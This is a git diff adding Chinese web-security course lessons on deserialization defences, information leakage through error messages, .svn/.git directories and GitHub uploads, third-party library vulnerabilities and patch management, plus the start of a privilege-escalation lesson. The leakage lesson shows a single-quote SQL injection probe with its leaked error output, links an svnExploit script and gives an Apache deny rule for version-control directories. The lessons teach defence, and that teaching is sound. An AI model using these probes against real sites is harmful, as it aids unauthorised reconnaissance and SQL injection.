首先,最简单的,我们可以通过认证,来避免应用接受黑客的异常输入。要知道,很多序列化和反序列化的服务并不是提供给用户的,而是提供给服务自身的。比如,存储一个对象到硬盘、发送一个对象到另外一个服务中去。对于这些点对点的服务,我们可以通过加入签名的方式来进行防护。比如,对存储的数据进行签名,以此对调用来源进行身份校验。只要黑客获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据,也就无从发起反序列化攻击了。
|
||||
|
||||
### 2.限制序列化和反序列化的类
|
||||
|
||||
事实上,认证只是隐藏了反序列化漏洞,并没有真正修复它。那么,我们该如何从根本上去修复或者避免反序列化漏洞呢?
|
||||
|
||||
在反序列化漏洞中,黑客需要构建调用链,而调用链是基于类的默认方法来构造的。然而,大部分类的默认方法逻辑很少,无法串联成完整调用链。因此,在调用链中通常会涉及非常规的类,比如,刚才那个demo中的InvokerTransformer。我相信99.99%的人都不会去序列化这个类。因此,我们可以通过构建黑名单的方式,来检测反序列化过程中调用链的异常。
|
||||
|
||||
在Fastjson的配置文件中,就维护了一个黑名单的[列表](https://github.com/alibaba/fastjson/blob/d52085ef54b32dfd963186e583cbcdfff5d101b5/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java),其中包括了很多可能执行代码的方法类。这些类都是平常会使用,但不会序列化的一些工具类,因此我们可以将它们纳入到黑名单中,不允许应用反序列化这些类(在最新的版本中,已经更改为hashcode的形式)。
|
||||
|
||||
我们在日常使用Fastjson或者其他JSON转化工具的过程中,需要注意避免序列化和反序列化接口类。这就相当于白名单的过滤:只允许某些类可以被反序列化。我认为,只要你在反序列化的过程中,避免了所有的接口类(包括类成员中的接口、泛型等),黑客其实就没有办法控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就无法利用反序列化漏洞了。
|
||||
|
||||
### 3.RASP检测
|
||||
|
||||
通常来说,我们可以依靠第三方插件中自带的黑名单来提高安全性。但是,如果我们使用的是Java自带的序列化和反序列化功能(比如`ObjectInputStream.resolveClass`),那我们该怎么防护反序列化漏洞呢?如果我们想要替这些方法实现黑名单的检测,就会涉及原生代码的修改,这显然是一件比较困难的事。
|
||||
|
||||
为此,业内推出了RASP(Runtime Application Self-Protection,实时程序自我保护)。RASP通过hook等方式,在这些关键函数的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。关于RASP,之后的课程中我们会专门进行讲解,这里暂时不深入了。简单来说,通过RASP,我们就能够检测到应用中的非正常代码执行操作。
|
||||
|
||||
**我个人认为,[RASP](https://www.freebuf.com/articles/web/197823.html)是最好的检测反序列化攻击的方式。** 我为什么会这么说呢?这是因为,如果使用认证和限制类这样的方式来检测,就需要一个一个去覆盖可能出现的漏洞点,非常耗费时间和精力。而RASP则不同,它通过hook的方式,直接将整个应用都监控了起来。因此,能够做到覆盖面更广、代码改动更少。
|
||||
|
||||
但是,因为RASP会hook应用,相当于是介入到了应用的正常流程中。而RASP的检测规则都不高效,因此,它会给应用带来一定的性能损耗,不适合在高并发的场景中使用。但是,在应用不受严格性能约束的情况下,我还是更推荐使用RASP。这样,开发就不用一个一个去对漏洞点进行手动修补了。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
我们首先讲了反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑客就可以在服务器上执行任意的命令。
|
||||
|
||||
对于反序列化漏洞的防御,我们主要考虑两个方面:认证和检测。对于面向内部的接口和服务,我们可以采取认证的方式,杜绝它们被黑客利用的可能。另外,我们也需要对反序列化数据中的调用链进行黑白名单检测。成熟的第三方序列化插件都已经包含了这个功能,暂时可以不需要考虑。最后,如果没有过多的性能考量,我们可以通过RASP的方式,来进行一个更全面的检测和防护。
|
||||
|
||||
最后,为了方便你记忆,我把今天的内容总结成一张知识脑图,你可以通过它对今天的重点内容进行复习巩固。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b7/37/b79f722212c5a2582d9f5fbf15081337.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,给你留一个思考题。
|
||||
|
||||
你可以去了解一下,你所使用的序列化和反序列化插件(比如Fastjson、Gson和Jackson等),是否被曝出过反序列化漏洞?然后结合今天的内容思考一下,这些反序列化漏洞,可能会给你带来什么影响。
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
117
极客时间专栏/安全攻防技能30讲/Web安全/10 | 信息泄露:为什么黑客会知道你的代码逻辑?.md
Normal file
117
极客时间专栏/安全攻防技能30讲/Web安全/10 | 信息泄露:为什么黑客会知道你的代码逻辑?.md
Normal file
@@ -0,0 +1,117 @@
|
||||
<audio id="audio" title="10 | 信息泄露:为什么黑客会知道你的代码逻辑?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/06/ec/061d047486a988d2e4a98421baa5cdec.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
你平时在Debug的时候,一定首先会去查看错误信息。根据错误信息,你能够了解究竟是什么情况引发了什么样的错误。同样地,黑客也能够通过错误信息,推断出你的后台代码逻辑。那么,黑客究竟是怎么做的呢?接下来,我们就一起看一下这个过程。
|
||||
|
||||
## 为什么错误信息会泄露代码逻辑?
|
||||
|
||||
当黑客在登录某个页面时,在用户名位置输入一个单引号,在密码位置输入一个“g”之后,就会出现如下的错误信息。
|
||||
|
||||
```
|
||||
An Error Has Occurred.
|
||||
Error Message:
|
||||
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = ''' and password = 'g''. at
|
||||
System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling ( Int32 hr) at
|
||||
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult ( tagDBPARAMS dbParams, Object& executeResult) at
|
||||
|
||||
```
|
||||
|
||||
从这个错误信息中,我们可以看到,网页最终执行了一个SQL语句,这个SQL语句的部分内容为`username = ''' and password = 'g'`。因此,后台的大致逻辑应该是下面这样的。
|
||||
|
||||
第一,错误信息反馈的是Syntax error,即语法错误。在密码位置输入单个字母“g”肯定不会引起错误,所以,这个SQL语句是因为多了一个单引号导致的报错。而如果使用了PreparedStatement等方法,是不会产生这个错误的。因此,后台的SQL查询应该是直接采用的字符串拼接,且没有过滤单引号。
|
||||
|
||||
第二,错误信息中显示了部分的WHERE条件是`username = '' and password = ''`。这又是一个登录的逻辑,所以,只要用户名和密码正确,这个SQL语句会返回黑客需要的用户信息。因此,后台的SQL语句应该是形如select from where的格式。
|
||||
|
||||
根据这些信息,黑客很容易就可以发起SQL注入攻击了。
|
||||
|
||||
那错误信息中包含的敏感信息这么多,怎么避免被直接展示到前端呢?我们可以通过正确地配置文件,来进行合适的错误处理。比如,在PHP中,我们可以进行如下配置:
|
||||
|
||||
```
|
||||
error_reporting = E_ALL ;向PHP报告发生的每个错误
|
||||
display_errors = Off ;不显示满足上条指令所定义规则的所有错误报告
|
||||
log_errors = On ;决定日志语句记录的位置
|
||||
log_errors_max_len = 1024 ;设置每个日志项的最大长度
|
||||
error_log = /var/log/php_error.log ;指定产生的错误报告写入的日志文件位置
|
||||
|
||||
```
|
||||
|
||||
在Java Spring中,我们也可以通过配置[ExceptionHandler](https://www.baeldung.com/exception-handling-for-rest-with-spring)等来进行处理。
|
||||
|
||||
避免错误信息泄露代码逻辑,一方面是要通过正确地配置文件,避免错误信息被展示到前端;另一方面是要对错误信息进行检测,这里就需要用到“黑盒”检测了。
|
||||
|
||||
所谓“黑盒(Black Box Testing,功能测试)”,就是在不获取代码的情况下,直接运行应用,然后对应用的请求和响应进行扫描。比如,在错误信息泄露的场景中,“黑盒”检测可以向应用发起一些必然会导致错误的请求(比如上述例子中的单引号),然后观察应用是返回完整的错误日志,还是返回某些经过处理的页面。
|
||||
|
||||
好了,现在你应该明白了,为啥错误信息会泄露代码逻辑。实际上,错误信息泄露属于一种间接的信息泄露方式。间接的信息泄露方式主要是通过拼凑各种零散信息,还原出代码整体的面貌,然后有针对性地发起攻击。所以我们常说,黑客的攻击本身就是一个“聚沙成塔”的过程。
|
||||
|
||||
## 除了错误信息,还有什么地方会泄露代码逻辑?
|
||||
|
||||
除了错误信息之外,间接的信息泄露方式还有两种:返回信息泄露和注释信息泄露。
|
||||
|
||||
注释信息你应该很熟悉。因为所有的前端代码基本都不需要编译就可以展示在浏览器中,所以黑客很容易就可以看到前端代码中的注释信息。但是,如果这些注释信息中出现服务器IP、数据库地址和认证密码这样的关键信息。一旦这些关键信息被泄露,将会造成十分严重的后果。
|
||||
|
||||
那该如何避免关键的注释信息出现在线上的代码中呢?我们经常会使用一种叫作“白盒”的代码检测方法。
|
||||
|
||||
所谓“白盒(White Box Testing,结构测试)”,即直接获取到线上的源代码,然后对它进行扫描。“白盒”扫描注释信息的原理比较简单,因为每一种语言的注释都会带有特殊的标记(比如Java和PHP中的/*等),可以比较准确地被识别出来。除此之外,“白盒”检测通常还会被用来做一些检测代码漏洞或者逻辑漏洞的工作,这一块比较复杂,现在你只需要有一个大概印象即可,我们会在后续的课程中专门来讲。
|
||||
|
||||
简单了解了注释信息泄露,我们下面重点来看返回信息泄露。
|
||||
|
||||
你可以回忆一下,在前面讲[SSRF](https://time.geekbang.org/column/article/182074)攻击的时候,我们模拟过这样一个场景:服务端在请求一个图片地址的时候,会根据地址的“存活”情况和返回数据的类型,分别返回三种结果:“图片不存在”“格式错误”以及图片正常显示。而黑客正是通过服务端返回信息的逻辑,利用一个请求图片的SSRF,摸清整个后端服务的“存活情况”。
|
||||
|
||||
类似的多种返回状态的场景还有很多,你可以想想自己平时工作中有没有遇到过。这里我再说一个常见的。当你在登录应用的时候,应用的返回逻辑可能是这样的:如果输入的用户名和密码正确,则登录成功;如果应用没有这个用户,则返回“用户名不存在”;如果输入的用户名和密码不匹配,则返回“密码错误”。
|
||||
|
||||
尽管这样清晰的登录提示对于用户体验来说,确实是一个较优解,但这个逻辑同样也暴露了过多的信息给黑客。黑客只需要不断地发起登录请求,就能够知道应用中存在的用户名,然后通过遍历常见的弱密码进行尝试,很容易就能够猜对密码。这样一来,猜对密码的成功率就比尝试同时猜测用户名和密码要高很多。
|
||||
|
||||
实际上,返回信息过于明确不算是代码层面的漏洞,更多的是产品层面的漏洞。因此,理论上没有任何技术手段能够对这种漏洞进行检测,只能依靠人为的分析审计来避免。解决方案也比较简单,直接将返回信息模糊化、统一化即可。比如,在上述登录的场景中,我们可以将两种登录失败的返回信息,统一修改为“用户名不存在或密码错误”。这样一来,既避免了用户体验受到太大影响,又消除了关键信息被黑客获取的隐患。
|
||||
|
||||
## 有哪些常见的直接泄露方式?
|
||||
|
||||
在间接的泄露方式中,黑客可以通过“蛛丝马迹”,推断出服务代码的逻辑。但是信息泄露最普遍的方式还是直接泄露 。这里我会讲两种常见的直接泄露方式。
|
||||
|
||||
第一种泄露方式与版本管理工具中的隐藏文件有关。
|
||||
|
||||
在开发应用的过程中,你一定使用过版本管理工具(比如SVN和Git),通过这些工具,你能够很方便地进行代码回滚、备份等操作。那你有没有想过,版本管理工具为什么这么方便呢?它的工作原理又是怎么样的呢?我们以SVN为例来说一说。
|
||||
|
||||
SVN会在项目目录中创建一个.svn文件夹,里面保存了应用每一个版本的源文件信息,这也是SVN实现代码回滚的数据基础。如果SVN可以通过.svn中的数据提取应用任意版本的代码,那黑客也可以。只要你没有在上线代码的时候删除其中的.svn目录,那就代表黑客可以通过.svn中的URL访问里面的所有文件。接下来,只需要通过执行简单的[脚本](https://github.com/admintony/svnExploit),黑客就可以回溯出一个完整版本的代码了。
|
||||
|
||||
对于这种因为目录中额外内容(.svn/.git)导致的源码泄露,我们一方面需要对线上代码进行人工的代码审查,确保无关的文件和文件夹被正确地清除;另一方面,我们也可以在HTTP服务中对部分敏感的路径进行限制。比如,在Apache httpd中配置下面的内容,来禁止黑客对.svn和.git目录的访问。
|
||||
|
||||
```
|
||||
<DirectoryMatch \.(svn|git)>
|
||||
Order allow,deny
|
||||
Deny from all
|
||||
</DirectoryMatch>
|
||||
|
||||
```
|
||||
|
||||
除此之外,还有一种最常见、也最不容易注意的泄露方式,那就是上传代码到GitHub上。
|
||||
|
||||
我们知道,Git除了是一个版本管理工具之外,还是一个很流行的代码管理工具。除了前面讲过的隐藏文件漏洞之外(Git会生成.git,同样包含应用各种版本的文件信息),Git还存在将代码上传到公开平台的问题。但是,使用GitHub上传代码通常属于个人行为,所以,我们很难从技术层面上进行预防。
|
||||
|
||||
那我们有没有一些有效的防护措施,可以尽可能地提高安全性呢?
|
||||
|
||||
我个人认为,公司应该从加强员工安全意识的培训、强化公司管理制度入手,避免员工私自上传代码。除此之外,公司还可以对GitHub发起巡检(比较知名的工具有[Hawkeye](https://github.com/0xbug/Hawkeye)),通过定期检索公司代码的关键字(比如常用的包名、域名等)来进行检测。通过这些方式匹配到的结果,很可能就是员工私自公开的代码。确认之后,我们就可以联系上传的人员进行删除了。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
信息泄露这类漏洞很容易理解,但它能够造成的危害却不容小觑。**基本上,所有攻击的第一步都是从信息泄露开始的**。而且黑客没有办法攻击一个未知的系统,所以黑客会通过这些泄露的信息,去推断出应用的整体架构和逻辑。
|
||||
|
||||
信息泄露的方式和原因有很多,这其中,除了黑客主动发起攻击导致的信息泄露之外,有很多非技术原因导致的信息泄露。所以,相应的防护手段也比较零散。不过总体来说,我们可以从以下几个方面进行防护:
|
||||
|
||||
- 屏蔽信息:通过技术手段,将不该被访问的资源进行屏蔽,从而避免信息泄露的产生;
|
||||
- 代码检测:从“白盒”和“黑盒”两个方向,对代码、应用等进行检测,对可能的泄露进行预警;
|
||||
- 人工审计:对于非技术原因造成的泄露,加强人工审计的工作。同时从公司制度上,去提高员工的安全意识。
|
||||
|
||||
今天的内容虽然比较简单,但是为了方便你记忆,我还是总结了一张知识脑图,你可以利用它来查缺补漏,加深记忆。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9a/ad/9a522b774b1e2b40a94894c54300c3ad.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后给你留一个思考题。
|
||||
|
||||
通过今天的讲解,你可以回忆一下,你的公司或者你负责的应用当中,是否发生过类似的信息泄露事件呢?如果发生过,对你的公司或者应用都造成了什么影响呢?最后又是如何解决的呢?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
151
极客时间专栏/安全攻防技能30讲/Web安全/11 | 插件漏洞:我的代码看起来很安全,为什么还会出现漏洞?.md
Normal file
151
极客时间专栏/安全攻防技能30讲/Web安全/11 | 插件漏洞:我的代码看起来很安全,为什么还会出现漏洞?.md
Normal file
@@ -0,0 +1,151 @@
|
||||
<audio id="audio" title="11 | 插件漏洞:我的代码看起来很安全,为什么还会出现漏洞?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/b5/79/b559c35df454de3701cdbb5edbe0d379.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
在讲[反序列化漏洞](https://time.geekbang.org/column/article/182421)的时候,我们说过,这个漏洞其实就存在于Fastjson、Jackson等知名的JSON解析库中,跟你自己写的代码没有太多关系,所以极难掌控。也就是说,在开发应用的过程中,尽管你的代码很安全了,黑客还是能够通过插件漏洞对应用发起攻击(我文中提到的插件,是第三方的插件、依赖库、工具和框架等的统称)。
|
||||
|
||||
说到这儿,想不想测试一下你的插件是否安全?在这里,我准备了几个问题,你可以看看自己是否对所用的插件了如指掌。
|
||||
|
||||
- 你所使用的所有插件的版本是什么?(包括前端和后端,直接引用和间接引用)
|
||||
- 你所使用的这些插件,是否存在漏洞,是否不被维护了,是否被废弃了?
|
||||
- 你所使用的这些插件,会在哪些地方发布更新信息和漏洞信息?
|
||||
- 你所使用的这些插件,是否会定期更新?你是否会对更新插件进行完整的测试?
|
||||
- 你所使用的这些插件,在安全方面,有哪些配置需要关注?
|
||||
|
||||
对于这些问题,如果你还没办法很快回答上来,那你的应用很有可能要受到插件漏洞的威胁了。所以,我接下来要讲的内容,你要认真听了。
|
||||
|
||||
## 为什么要重视插件漏洞?
|
||||
|
||||
在谈论安全漏洞的时候,你应该经常会听到“0 day”(中文译为“零日”)这个词。到底什么是“0 day”呢?“0 day”,即在插件发布修复漏洞的安全补丁之前,黑客就已经知道漏洞细节的漏洞。换一句话说,“0 day”就是只有黑客知晓的未公开漏洞。
|
||||
|
||||
说到这里,不知道你有没有听说过一个叫作[脏牛](https://dirtycow.ninja/)([CVE-2016-5195](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195))的Linux系统漏洞,这个漏洞可以实现提权操作,也就是让低权限的用户获得较高权限。在这个漏洞被公开曝出之前,它已经存在于Linux系统中长达9年了,直到现在,仍然有很多黑客通过这个漏洞获取较高的系统权限。
|
||||
|
||||
而这其实就是一个“0 day”漏洞。因为只有黑客知道这个漏洞,而我们连这个漏洞是什么都不知道,所以“0 day”几乎无法防御。除此之外,“0 day”还具备极高的攻击有效性,可以说只要应用使用了对应的插件,黑客几乎“战无不胜”。甚至在黑市上,“0 day”漏洞都可以作为一种资产在黑客间进行交易。
|
||||
|
||||
那除了“脏牛”,还有两个知名的插件漏洞,不知道你有没有耳闻。
|
||||
|
||||
一个是[心脏滴血](https://news.netcraft.com/archives/2014/04/08/half-a-million-widely-trusted-websites-vulnerable-to-heartbleed-bug.html)([CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160))。心脏滴血是加解密插件OpenSSL中的漏洞,OpenSSL曾为所有HTTPS网站提供数据加密保护。这个漏洞让任何人都可以通过网络读取OpenSSL系统内存中的数据,解密所有的加密流量。这让当时至少一半的HTTPS站点都受到了影响。
|
||||
|
||||
另一个是Structs 2的漏洞([CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638))。这个漏洞在2017年导致美国三大信用机构之一的[Equifax](https://resources.whitesourcesoftware.com/blog-whitesource/the-equifax-breach-who-s-to-blame),泄露了1.4亿用户的姓名、SSN(美国身份证号)、生日和地址等。受影响的用户相当于近一半的美国人口。我们在开篇词里也有提过,这里我就不多说了。
|
||||
|
||||
总之,对于应用来说,不只代码本身会产生漏洞,除了代码之外的一切也都有可能出现漏洞。从提供加解密功能的工具OpenSSL,到提供网络服务的框架Structs 2,甚至是基础的操作系统Linux,都有可能出现各种漏洞。插件漏洞既能够破坏插件本身的功能,也能让黑客以插件为跳板,实现控制整个应用甚至是服务器。
|
||||
|
||||
## 如何建立插件漏洞的防护体系?
|
||||
|
||||
那我们该如何对插件漏洞进行防护呢?实际上,修复和维护插件漏洞的过程,就是在和黑客竞赛的过程。业内有大量专业的安全研究人员,专注于对这些插件漏洞进行研究。因此,我们可以使用行业内的现有研究成果,来帮助我们提升插件的安全性,建立插件漏洞的防护体系。
|
||||
|
||||
具体来说,我总结了三步,但其实这三步并非完全递进的。你可以参考这三步的做法,看看哪些你已经做到了,哪些还没有做过,可以试一试。
|
||||
|
||||
### 第一步:整理插件,剔除无用插件
|
||||
|
||||
避免插件漏洞威胁的第一步,自然是了解自己的应用都使用了哪些插件。我就以Java中的Maven插件管理工具为例,详细说一下整理和剔除插件的过程。
|
||||
|
||||
如果使用Maven作为插件管理工具的话,你一定会先通过POM文件去找到自己所使用的插件(即所有的Dependency)。但是,Dependency只是你的应用中直接使用的插件,这些插件本身也会引用很多其他插件。所以大部分应用的插件依赖树十分复杂,那你该如何整理全部的插件呢?
|
||||
|
||||
首先,你可以通过[Maven Dependency Plugin](http://maven.apache.org/plugins/maven-dependency-plugin/)帮助自己自动分析插件依赖树。除了展示出当前Maven工程中所有的使用插件,Maven Dependency Plugin还会对插件的使用情况做进一步的分析,帮你找出在POM中却没在代码中使用的插件。这样,你就可以对这一类无用的插件引用及时剔除,自然也就能够减少插件漏洞出现的可能性。
|
||||
|
||||
比如,在下面这个分析结果中,通过`mvn dependency:analyze`的分析,我们发现了JUnit和Logback这类“虽然被引用但却没有被使用”的插件。既然没有被使用,那我们就可以很放心地进行删除了。
|
||||
|
||||
```
|
||||
mvn dependency:tree dependency:analyze
|
||||
...
|
||||
[INFO] --- maven-dependency-plugin:2.8:tree (default-cli) @ client ---
|
||||
[INFO] com.coveros:sample-maven:jar:0.0.1-SNAPSHOT
|
||||
[INFO] +- junit:junit:jar:4.11:test
|
||||
[INFO] | \- org.hamcrest:hamcrest-core:jar:1.3:test
|
||||
[INFO] +- org.slf4j:slf4j-api:jar:1.7.5:compile
|
||||
[INFO] \- ch.qos.logback:logback-classic:jar:1.0.13:test
|
||||
[INFO] \- ch.qos.logback:logback-core:jar:1.0.13:test
|
||||
...
|
||||
[INFO] --- maven-dependency-plugin:2.8:analyze (default-cli) @ client ---
|
||||
[WARNING] Unused declared dependencies found:
|
||||
[WARNING] junit:junit:jar:4.11:test
|
||||
[WARNING] ch.qos.logback:logback-classic:jar:1.0.13:test
|
||||
...
|
||||
|
||||
```
|
||||
|
||||
### 第二步:管理插件补丁更新
|
||||
|
||||
一旦某个插件出现漏洞,通常插件的运维方都会尽快推出补丁。有的公司还会设立专门的部门和人员进行补丁管理的工作。一旦出现漏洞和补丁,公司会先评估漏洞的严重性,然后设定打补丁的优先级,推动研发人员进行更新操作。
|
||||
|
||||
所以,建立插件防护体系的第二步,就是要知道你有哪些插件需要更新。但是,在实际工作中一个应用随便就依赖几十个插件,你当然没办法一个一个去查询插件的更新状态了。那[Version Maven Plugin](https://www.mojohaus.org/versions-maven-plugin/)就是用来帮你检查版本更新的一个工具。你可以看到,在下面的分析结果中,通过`mvn version:display-dependency-updates`这个命令,我们就能发现JUnit有一个新的4.11版本。
|
||||
|
||||
```
|
||||
mvn versions:display-plugin-updates versions:display-dependency-updates
|
||||
...
|
||||
[INFO] --- versions-maven-plugin:2.1:display-plugin-updates (default-cli) @ sample-maven ---
|
||||
[INFO]
|
||||
[INFO] The following plugin updates are available:
|
||||
[INFO] maven-deploy-plugin ...................................... 2.7 -> 2.8
|
||||
[INFO]
|
||||
[INFO] All plugins have a version specified.
|
||||
[INFO]
|
||||
[INFO] Project defines minimum Maven version as: 3.0
|
||||
[INFO] Plugins require minimum Maven version of: 3.0
|
||||
[INFO]
|
||||
[INFO] No plugins require a newer version of Maven than specified by the pom.
|
||||
[INFO]
|
||||
[INFO]
|
||||
[INFO] --- versions-maven-plugin:2.1:display-dependency-updates (default-cli) @ sample-maven ---
|
||||
[INFO] The following dependencies in Dependencies have newer versions:
|
||||
[INFO] junit:junit ............................................. 4.10 -> 4.11
|
||||
...
|
||||
|
||||
```
|
||||
|
||||
尽管Version Maven Plugin也提供自动更新的功能,不过我更推荐你手动进行更新。因为对于插件的版本变更,其兼容性并没有保证,而且你也无法保证,插件在更新的过程中,不会对它原本的功能产生影响。
|
||||
|
||||
那使用了补丁管理工具之后,我们就可以完全放心了吗?当然不是。补丁管理中依旧存在一些问题,我这里从3个方面帮你梳理了一下,你可以作为了解。
|
||||
|
||||
- 补丁可用性:并不是所有的插件漏洞,都能有最新的补丁进行及时的更新和维护。很多时候,运维人员会面临一个已知的漏洞,但无补丁“可打”的窘迫局面。
|
||||
- 覆盖面不全:实际上,并不是所有语言都能够很好地进行插件分析工作,这也就导致运维人员无法掌控公司内所使用的所有插件。这个时候,必然会产生一定的漏洞疏忽。
|
||||
- 更新时间延迟:为了提高打补丁的效率,补丁管理一般会按月或者按季度进行集中的打补丁工作。而在这个期间,公司的应用就会处于无保护的状态。
|
||||
|
||||
为了解决这些问题,虚拟补丁的概念就被提出了。所谓虚拟补丁,就是在不对应用插件进行升级的情况下,有效阻止攻击流量。实现的原理也很简单,即在前置的网络或系统中,对针对插件漏洞的攻击流量进行检测和拦截即可,大部分防火墙、IPS等安全防御工具,都会提供虚拟补丁的功能。比如,2017年,[永恒之蓝](https://baike.baidu.com/item/%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D/4951714?fr=aladdin)肆虐的时候,防火墙会直接封禁445端口请求,就相当于给所有的Windows系统,打上了虚拟补丁。然后,只需要等到所有Windows都真正更新补丁之后,再放开对445端口的限制即可。
|
||||
|
||||
### 第三步:使用公开漏洞库
|
||||
|
||||
最后,你还需要知道,在你所使用的插件中,是否已经存在了公开的漏洞。
|
||||
|
||||
我在讲解知名插件漏洞的例子中,提到了一些漏洞的编号:脏牛(CVE-2016-5195)、心脏滴血(CVE-2014-0160)和Structs 2的漏洞(CVE-2017-5638)。细心的同学可能已经想要问了,那这些编号是怎么来的呢?又代表了什么含义呢?
|
||||
|
||||
实际上,每个漏洞的编号都是该漏洞在公开漏洞库的唯一编号。我提到的这三个编号,开头都是CVE,也就是说,这三个编号的信息都存在于[CVE](https://cve.mitre.org/)(Common Vulnerabilities & Exposures,公共漏洞和暴露)这个公开漏洞库中,你可以根据漏洞的唯一编号,在CVE中快速地找到这个漏洞相关的信息,包括:受影响的版本、可能造成的影响、修复的方法及补丁等。
|
||||
|
||||
除了CVE之外,公开的漏洞库还包括[CWE](https://cwe.mitre.org/)(Common Weakness Enumeration,通用缺陷列表)、[CVSS](https://www.first.org/cvss/)(Common Vulnerability Scoring System,通用漏洞评分系统)、[NVD](https://www.nist.gov/programs-projects/national-vulnerability-database-nvd)(National Vulnerability Database,国家信息安全漏洞库)以及[CNVD](https://www.cnvd.org.cn/)(China National Vulnerability Database,中国国家信息安全漏洞库)。
|
||||
|
||||
每当漏洞库中新曝出一个漏洞时,你需要分析这个漏洞所涉及的插件:是否在公司中有被使用;公司中使用的,是否是受影响的版本;这个漏洞会产生哪些危害等等。这样,你才能够尽快地修复各类已知的插件漏洞,降低应用被黑客攻击的可能。
|
||||
|
||||
那实际工作中,我们其实也可以借助工具,自动化地完成匹配公开漏洞库的工作。[OWASP Dependency-Check](https://jeremylong.github.io/DependencyCheck/)是一款专门进行插件漏洞检测的工具。它会将工程内的插件和公开的漏洞库进行比对。最终,会生成一个网页形式的报告,使你对工程中的插件漏洞一目了然了。下图就展示了,如何通过OWASP Dependency-Check发现一个3.2.1版本的Commons-Collections的高危漏洞。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/05/383ca5b55e749be2ba11820ad4542605.png" alt="">
|
||||
|
||||
同理,在其他语言中,也会存在类似的插件管理工具。比如对于JavaScript中的插件,我们可以使用[Retire.js](https://github.com/retirejs/retire.js/)进行整理。
|
||||
|
||||
总结来说,我们在建立插件漏洞的防护体系时,会使用这些自动化管理工具完成这样三件事情:
|
||||
|
||||
- 统计你的应用中引用了哪些插件
|
||||
- 管理这些插件中是否有版本更新
|
||||
- 检测这些插件是否存在已知的漏洞
|
||||
|
||||
根据这些信息,你就能够对应用中的插件安全性,有一个比较完整的认知了。接下来,在实际使用的过程中,我们根据漏洞的更新情况,有针对性地修复即可。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
在开发应用的过程中,我们总是需要引入各种第三方插件。而这些第三方插件的漏洞,尽管看起来很容易解决,只需要一直使用最新的插件,并保持更新即可。但是,往往因为版本更新繁琐,且无法带来业务收益,很多公司都会因此忽视插件漏洞的防护工作。所以,在应用中存在一个好几年前的插件漏洞并不奇怪。
|
||||
|
||||
提高版本更新的效率、避免插件漏洞,主要可以分三个步骤:首先我们可以使用插件分析工具,来了解应用中包括了哪些插件;然后,可以通过补丁管理制度和虚拟补丁,来推进对插件漏洞的管理和修复工作;最后,我们可以对比公开漏洞库(比如CVE等)中的最新漏洞,及时修复漏洞,降低被黑客攻击的可能。
|
||||
|
||||
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/64/72/6483102d652caf01c72dd5dd3602e572.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,给你留一个思考题。
|
||||
|
||||
你可以尝试对你的应用作一次插件分析,看看会不会出现已知的安全漏洞。除此之外,你还可以对应用的外部依赖(数据库、Web服务、操作系统等)进行一次调查,在当前版本中,是否存在公开的漏洞?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
120
极客时间专栏/安全攻防技能30讲/Web安全/12 | 权限提升和持久化:为什么漏洞修复了,黑客还是能够自由进出?.md
Normal file
120
极客时间专栏/安全攻防技能30讲/Web安全/12 | 权限提升和持久化:为什么漏洞修复了,黑客还是能够自由进出?.md
Normal file
@@ -0,0 +1,120 @@
|
||||
<audio id="audio" title="12 | 权限提升和持久化:为什么漏洞修复了,黑客还是能够自由进出?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/72/13/727579dcd61b6e0d4f8a3450cae40c13.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
我在Web安全的前6讲中,给你讲解了各种漏洞的产生和防护方法,比如:XSS、SQL注入、CSRF、SSRF和插件漏洞。除了这些漏洞之外,我也着重强调了一点,黑客善于通过“蛛丝马迹”推断出代码逻辑,然后发起攻击。学习了这些内容,在实际工作的过程中,我们其实就能基本避免大部分的Web安全问题了。但是,有一天,我又遇到了新的问题。
|
||||
|
||||
某一天,当我在进行日常审计的时候,突然发现内网有黑客的操作痕迹。于是,我马上对黑客的攻击路径进行溯源。最后发现黑客是通过某个应用的SSRF漏洞进入的。
|
||||
|
||||
